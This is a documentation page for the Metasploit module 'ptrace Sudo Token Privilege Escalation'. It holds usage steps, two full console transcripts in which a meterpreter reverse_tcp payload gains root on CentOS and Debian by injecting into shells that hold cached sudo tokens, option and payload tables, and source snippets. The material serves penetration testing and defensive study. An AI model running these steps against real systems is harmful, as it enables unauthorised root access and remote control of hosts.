ptrace Sudo Token Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/ptrace_sudo_token_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ptrace Sudo Token Privilege Escalation
Module: exploit/linux/local/ptrace_sudo_token_priv_esc
Source code: modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb
Disclosure date: 2019-03-24
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to gain root privileges by blindly
injecting into the session user's running shell processes
and executing commands by calling system()
, in the hope
that the process has valid cached sudo tokens with root
privileges. The system must have gdb installed and permit
ptrace. This module has been tested successfully on: Debian
9.8 (x64); and CentOS 7.4.1708 (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/ptrace_sudo_token_priv_esc
msf exploit(ptrace_sudo_token_priv_esc) > show targets
... a list of targets ...
msf exploit(ptrace_sudo_token_priv_esc) > set TARGET target-id
msf exploit(ptrace_sudo_token_priv_esc) > show options
... show and set options ...
msf exploit(ptrace_sudo_token_priv_esc) > set SESSION session-id
msf exploit(ptrace_sudo_token_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to gain root privileges by blindly injecting into
the session user's running shell processes and executing commands by
calling system()
, in the hope that the process has valid cached sudo
tokens with root privileges.
The system must have gdb installed and permit ptrace.
Vulnerable Application
This module has been tested successfully on:
- Debian 9.8 (x64)
- CentOS 7.4.1708 (x64)
Verification Steps
- Start
msfconsole
- Get a session
use exploit/linux/local/ptrace_sudo_token_priv_esc
set SESSION <SESSION>
check
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
TIMEOUT
Process injection timeout (seconds) (default: 30
)
WritableDir
A writable directory file system path. (default: /tmp
)
Scenarios
CentOS 7.4.1708 (x64)
msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[+] YAMA ptrace scope is not restrictive
[+] SELinux deny_ptrace is disabled
[+] sudo is installed
[+] gdb is installed
[*] Searching for shell processes ...
[*] Found 3 running shell processes
[*] 2343, 2483, 2958
[*] Writing '/tmp/.ka44kFCm8XyMEZ' (329 bytes) ...
[*] Injecting into process 2343 ...
[*] Injecting into process 2483 ...
[*] Injecting into process 2958 ...
[+] /tmp/.ka44kFCm8XyMEZ setuid root successfully
[*] Executing payload...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.141
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.141:53462) at 2019-08-10 02:49:48 -0400
[-] Failed to delete /tmp/.ka44kFCm8XyMEZ: stdapi_fs_delete_file: Operation failed: 1
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : centos-7-1708.localdomain
OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Debian 9.8 (x64)
msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[+] YAMA ptrace scope is not restrictive
[+] sudo is installed
[+] gdb is installed
[*] Searching for shell processes ...
[*] Found 5 running shell processes
[*] 661, 891, 23499, 23518, 23541
[*] Writing '/tmp/.Dpq90j6vOk' (329 bytes) ...
[*] Injecting into process 661 ...
[*] Injecting into process 891 ...
[*] Injecting into process 23499 ...
[*] Injecting into process 23518 ...
[+] /tmp/.Dpq90j6vOk setuid root successfully
[*] Executing payload...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.232
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.232:50744) at 2019-08-10 02:54:34 -0400
[-] Failed to delete /tmp/.Dpq90j6vOk: stdapi_fs_delete_file: Operation failed: 1
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : debian-9-8-x64.local
OS : Debian 9.8 (Linux 4.9.0-8-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/ptrace_sudo_token_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/ptrace_sudo_token_priv_esc
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show info
Name: ptrace Sudo Token Privilege Escalation
Module: exploit/linux/local/ptrace_sudo_token_priv_esc
Platform: Linux
Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-03-24
Provided by:
chaignc
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TIMEOUT 30 yes Process injection timeout (seconds)
Payload information:
Description:
This module attempts to gain root privileges by blindly injecting
into the session user's running shell processes and executing
commands by calling `system()`, in the hope that the process has
valid cached sudo tokens with root privileges. The system must have
gdb installed and permit ptrace. This module has been tested
successfully on: Debian 9.8 (x64); and CentOS 7.4.1708 (x64).
References:
https://www.exploit-db.com/exploits/46989
https://github.com/nongiach/sudo_inject
https://www.kernel.org/doc/Documentation/security/Yama.txt
http://man7.org/linux/man-pages/man2/ptrace.2.html
https://lwn.net/Articles/393012/
https://lwn.net/Articles/492667/
https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
Module Options
This is a complete list of options available in the linux/local/ptrace_sudo_token_priv_esc exploit:
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show options
Module options (exploit/linux/local/ptrace_sudo_token_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TIMEOUT 30 yes Process injection timeout (seconds)
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/ptrace_sudo_token_priv_esc exploit:
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show advanced
Module advanced options (exploit/linux/local/ptrace_sudo_token_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/ptrace_sudo_token_priv_esc module can exploit:
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ptrace_sudo_token_priv_esc exploit:
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
6 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
10 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
11 payload/linux/armle/exec normal No Linux Execute Command
12 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
13 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
14 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
15 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
16 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
17 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
18 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
19 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/mipsbe/exec normal No Linux Execute Command
22 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
23 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
24 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
25 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
26 payload/linux/mipsbe/reboot normal No Linux Reboot
27 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
29 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
30 payload/linux/mipsle/exec normal No Linux Execute Command
31 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
32 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/mipsle/reboot normal No Linux Reboot
36 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
37 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
38 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
39 payload/linux/ppc/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
40 payload/linux/ppc/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
41 payload/linux/ppc/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
42 payload/linux/ppc/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
43 payload/linux/ppc/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
44 payload/linux/ppc64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
45 payload/linux/ppc64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
46 payload/linux/ppc64le/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
47 payload/linux/ppc64le/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
48 payload/linux/ppc64le/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
49 payload/linux/ppce500v2/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
50 payload/linux/ppce500v2/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
51 payload/linux/ppce500v2/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
52 payload/linux/x64/exec normal No Linux Execute Command
53 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
54 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
55 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
56 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
57 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
58 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
59 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
60 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
61 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
62 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
63 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
64 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
65 payload/linux/x86/chmod normal No Linux Chmod
66 payload/linux/x86/exec normal No Linux Execute Command
67 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
68 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
69 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
70 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
71 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
72 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
73 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
74 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
75 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
76 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
77 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
78 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
79 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
80 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
81 payload/linux/x86/read_file normal No Linux Read File
82 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
83 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
84 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
85 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
86 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
87 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
88 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
89 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
90 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
91 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
92 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
93 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
94 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
95 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/ptrace_sudo_token_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/ptrace_sudo_token_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- YAMA ptrace scope is restrictive
- SELinux deny_ptrace is enabled
- sudo is not installed
- gdb is not installed
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- <BASE_DIR> is mounted nosuid
- Found no running shell processes
- Failed to create setuid root shell. Session user has no valid cached sudo tokens.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
YAMA ptrace scope is restrictive
Here is a relevant code snippet related to the "YAMA ptrace scope is restrictive" error message:
93: register_file_for_cleanup path
94: end
95:
96: def check
97: if yama_enabled?
98: vprint_error 'YAMA ptrace scope is restrictive'
99: return CheckCode::Safe
100: end
101: vprint_good 'YAMA ptrace scope is not restrictive'
102:
103: if command_exists? '/usr/sbin/getsebool'
SELinux deny_ptrace is enabled
Here is a relevant code snippet related to the "SELinux deny_ptrace is enabled" error message:
100: end
101: vprint_good 'YAMA ptrace scope is not restrictive'
102:
103: if command_exists? '/usr/sbin/getsebool'
104: if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
105: vprint_error 'SELinux deny_ptrace is enabled'
106: return CheckCode::Safe
107: end
108: vprint_good 'SELinux deny_ptrace is disabled'
109: end
110:
sudo is not installed
Here is a relevant code snippet related to the "sudo is not installed" error message:
107: end
108: vprint_good 'SELinux deny_ptrace is disabled'
109: end
110:
111: unless command_exists? 'sudo'
112: vprint_error 'sudo is not installed'
113: return CheckCode::Safe
114: end
115: vprint_good 'sudo is installed'
116:
117: unless command_exists? 'gdb'
gdb is not installed
Here is a relevant code snippet related to the "gdb is not installed" error message:
113: return CheckCode::Safe
114: end
115: vprint_good 'sudo is installed'
116:
117: unless command_exists? 'gdb'
118: vprint_error 'gdb is not installed'
119: return CheckCode::Safe
120: end
121: vprint_good 'gdb is installed'
122:
123: CheckCode::Detected
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
124: end
125:
126: def exploit
127: if is_root?
128: unless datastore['ForceExploit']
129: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
130: end
131: end
132:
133: unless writable? base_dir
134: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
129: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
130: end
131: end
132:
133: unless writable? base_dir
134: fail_with Failure::BadConfig, "#{base_dir} is not writable"
135: end
136:
137: if nosuid? base_dir
138: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
139: end
<BASE_DIR> is mounted nosuid
Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:
133: unless writable? base_dir
134: fail_with Failure::BadConfig, "#{base_dir} is not writable"
135: end
136:
137: if nosuid? base_dir
138: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
139: end
140:
141: # Find running shell processes
142: shells = %w[ash ksh csh dash bash zsh tcsh fish sh]
143:
Found no running shell processes
Here is a relevant code snippet related to the "Found no running shell processes" error message:
161: pidof(s).each { |p| pids << p.strip }
162: end
163: end
164:
165: if pids.empty?
166: fail_with Failure::Unknown, 'Found no running shell processes'
167: end
168:
169: print_status "Found #{pids.uniq.length} running shell processes"
170: vprint_status pids.join(', ')
171:
Failed to create setuid root shell. Session user has no valid cached sudo tokens.
Here is a relevant code snippet related to the "Failed to create setuid root shell. Session user has no valid cached sudo tokens." error message:
189: res = cmd_exec "#{@payload_path} & echo "
190: vprint_line res
191: return
192: end
193:
194: fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
195: end
196:
197: def on_new_session(session)
198: if session.type.eql? 'meterpreter'
199: session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- EDB-46989
- https://github.com/nongiach/sudo_inject
- https://www.kernel.org/doc/Documentation/security/Yama.txt
- http://man7.org/linux/man-pages/man2/ptrace.2.html
- https://lwn.net/Articles/393012/
- https://lwn.net/Articles/492667/
- https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/
- https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
See Also
Check also the following modules related to this module:
- exploit/linux/local/ptrace_traceme_pkexec_helper
- exploit/linux/local/sudo_baron_samedit
- exploit/linux/local/zpanel_zsudo
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/sudo_password_bypass
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/windows/local/bits_ntlm_token_impersonation
- exploit/windows/local/tokenmagic
- post/multi/manage/sudo
- post/multi/recon/sudo_commands
- auxiliary/admin/vmware/vcenter_forge_saml_token
- post/windows/gather/enum_domain_tokens
- post/windows/gather/enum_tokens
Authors
- chaignc
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.